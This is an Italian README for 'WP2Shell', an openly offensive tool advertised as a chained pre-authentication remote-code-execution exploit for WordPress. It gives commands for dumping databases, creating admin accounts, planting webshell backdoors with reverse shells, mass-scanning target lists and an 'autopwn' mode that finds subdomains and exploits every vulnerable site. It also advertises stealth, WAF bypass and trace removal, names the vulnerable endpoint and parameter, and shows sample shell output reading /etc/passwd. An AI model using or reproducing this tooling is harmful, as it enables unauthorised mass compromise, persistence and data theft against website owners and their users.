WP2Shell - Exploit RCE pre-autenticazione per WordPress

CVE-2026-63030 + CVE-2026-60137
Versione: 4.0.0
Autore: G0D150NE

📌 Panoramica

WP2Shell è uno strumento di exploit a catena completa per l'esecuzione remota di codice pre-autenticazione su WordPress. Combina due vulnerabilità critiche:

CVE-2026-63030 - SQL Injection nell'endpoint Batch dell'API REST
CVE-2026-60137 - Bypass dell'autenticazione tramite avvelenamento della cache oEmbed

Questo strumento consente il compromesso completo di installazioni WordPress vulnerabili senza alcuna autenticazione - dalla rilevazione alla piena RCE e persistenza.

⚡ Funzionalità

🔍 Controllo non distruttivo - Conferma sicura della vulnerabilità
📊 Estrazione multi-tecnica - SQLi UNION, basata su errori, blind
🚀 Catena RCE completa - Dalla SQLi alla creazione di un account admin
🐚 Distribuzione di webshell - Backdoor nascosta basata su plugin
🧹 Capacità di pulizia - Rimuove tutte le tracce
📡 Scansione di massa - Scanner multi-thread per più target
🤖 Modalità Autopwn - Scoperta di sottodomini + sfruttamento automatico
🌐 Rotazione proxy - Supporto per proxy rotanti
🕵️ Modalità stealth - Ritardi casuali e tecniche di bypass WAF

🔧 Installazione

# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell

# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py

🎯 Utilizzo

Struttura del comando

python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]

Comandi disponibili

Command	Description
`check`	Conferma non distruttiva della vulnerabilità
`read`	Estrai dati tramite SQL injection
`exploit`	Catena RCE pre-auth completa
`shell`	Distribuisci webshell con credenziali esistenti
`masscan`	Scansione di massa di più target
`autopwn`	Scoperta automatica → scansione → exploit

🚀 Esempi

1. Controllo della vulnerabilità

python3 wp2shell.py check https://target.com

python3 wp2shell.py check https://target.com --confirm-timing --sleep 5

2. Estrazione dei dati

Fingerprint di base:

python3 wp2shell.py read https://target.com

Estrai utenti:

python3 wp2shell.py read https://target.com --preset users

Query personalizzata:

python3 wp2shell.py read https://target.com --query "SELECT @@version"

Dump dell'intero database:

python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096

3. Sfruttamento completo

Exploit di base:

python3 wp2shell.py exploit https://target.com

Exploit con shell interattiva:

python3 wp2shell.py exploit https://target.com --interactive

Exploit con installazione di backdoor:

python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444

Exploit con dump del database:

python3 wp2shell.py exploit https://target.com --dumpdb

Exploit con pulizia (rimozione tracce):

python3 wp2shell.py exploit https://target.com --cleanup

4. Utilizzo di credenziali admin esistenti

python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive

python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"

5. Scansione di massa

# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv

6. Modalità Autopwn (Automazione completa)

python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100

Questo:

Scopre i sottodomini tramite crt.sh
Identifica le installazioni WordPress
Sfrutta tutti i siti vulnerabili
Installa backdoor sui target compromessi

🎮 Shell interattiva

Dopo lo sfruttamento, ottieni una shell interattiva completa:

python3 wp2shell.py exploit https://target.com -i

[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit

🛡️ Riferimento opzioni

Opzioni comuni

Option	Description
`--timeout`	Timeout HTTP in secondi (default: 30)
`--proxies`	Elenco proxy separato da virgole (es. http://127.0.0.1:8080)
`--stealth`	Abilita la modalità stealth con ritardi casuali
`-v, --verbose`	Abilita l'output di debug
`-q, --quiet`	Sopprime banner e messaggi informativi

Opzioni del comando read

Option	Description
`--prefix`	Prefisso delle tabelle (default: wp_)
`--auto-prefix`	Auto-scoperta del prefisso delle tabelle
`--max-length`	Numero massimo di caratteri per valore (default: 128)
`--technique`	Tecnica di estrazione: auto/union/error/blind
`--preset`	Preset di dati: fingerprint/users/dumpall
`--query`	Espressione SQL arbitraria da estrarre

Opzioni del comando exploit

Option	Description
`--prefix`	Prefisso delle tabelle (default: wp_)
`--no-discover`	Salta l'auto-scoperta, usa i valori predefiniti
`-i, --interactive`	Entra in una shell dopo lo sfruttamento
`-c, --command`	Esegui un singolo comando dopo lo sfruttamento
`--backdoor`	Installa una backdoor di persistenza
`--lhost`	LHOST per la reverse shell (default: 10.0.0.1)
`--lport`	LPORT per la reverse shell (default: 4444)
`--dumpdb`	Esegue il dump del database dopo lo sfruttamento
`--cleanup`	Elimina l'utente creato e la webshell all'uscita

🔬 Dettagli tecnici

Catena di vulnerabilità

SQL Injection (CVE-2026-63030)
- Si verifica nell'endpoint /wp-json/batch/v1
- Il parametro author_exclude è vulnerabile a SQLi blind basata sul tempo
- Consente l'estrazione basata su UNION ed errori
Bypass dell'autenticazione (CVE-2026-60137)
- Avvelenamento della cache oEmbed tramite il parametro /_embed
- Consente di creare utenti admin tramite il changeset del customizer
- Attiva una catena di re-entry per la creazione di account privilegiati

Versioni di WordPress supportate

Version	Status
6.9.0	✅ Vulnerabile
6.9.1	✅ Vulnerabile
6.9.2	✅ Vulnerabile
6.9.3	✅ Vulnerabile
6.9.4	✅ Vulnerabile
7.0.0	✅ Vulnerabile
7.0.1	✅ Vulnerabile
≥ 7.0.2	❌ Patchata

Tecniche di estrazione

Technique	Speed	Data Size	Requirements
UNION	⚡ Molto veloce	Illimitato	Il target non deve filtrare UNION
Error	🚀 Veloce	~30 caratteri/richiesta	Il target deve esporre messaggi di errore
Blind	🐢 Lenta	Illimitato	Oracle booleano disponibile

📊 Esempi di output

Sfruttamento riuscito

░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░      ░▒▓█▓▒░        
                                                                                                                                                                                                                            
  CVE-2026-63030 + CVE-2026-60137
  WordPress Pre-Auth RCE  [v4.0.0]
  + G0D150NE

[1/7] Reconnaissance
  Target: https://target.com
  WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)

[2/7] Enumerating target
[+] Discovered table prefix: wp_

[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/

[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered

[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]

WP2Shell

Più Popolari